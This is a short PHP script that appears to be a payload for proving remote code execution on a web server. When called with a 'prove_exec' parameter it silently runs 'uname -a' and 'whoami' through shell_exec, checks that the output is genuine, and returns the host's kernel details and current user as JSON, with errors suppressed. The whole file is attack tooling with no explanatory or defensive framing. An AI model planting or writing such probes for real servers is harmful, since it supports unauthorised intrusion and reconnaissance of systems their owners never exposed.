<?php
header("Content-Type: application/json");
error_reporting(0);

$response = array(
    'execution' => false,
    'system' => null,
    'output' => null
);

// Only execute if specific parameter provided
if(isset($_GET['prove_exec'])) {
    // Run system command
    $cmd = "uname -a 2>&1";
    $output = shell_exec($cmd);
    
    if($output) {
        $clean_output = trim($output);
        
        // Check if it looks like REAL system output (not PHP code)
        $is_real_output = (
            strlen($clean_output) > 10 &&
            !preg_match('/<\?php|system\(|echo\s+/', $clean_output) &&
            (preg_match('/Linux|Windows|Darwin/', $clean_output) || 
             preg_match('/\d+\.\d+\.\d+/', $clean_output))
        );
        
        if($is_real_output) {
            $response['execution'] = true;
            $response['system'] = $clean_output;
            
            // Verify with second command
            $cmd2 = "whoami 2>&1";
            $output2 = shell_exec($cmd2);
            if($output2 && !preg_match('/whoami/', $output2)) {
                $response['output'] = trim($output2);
            }
        }
    }
}

echo json_encode($response, JSON_PRETTY_PRINT);
?>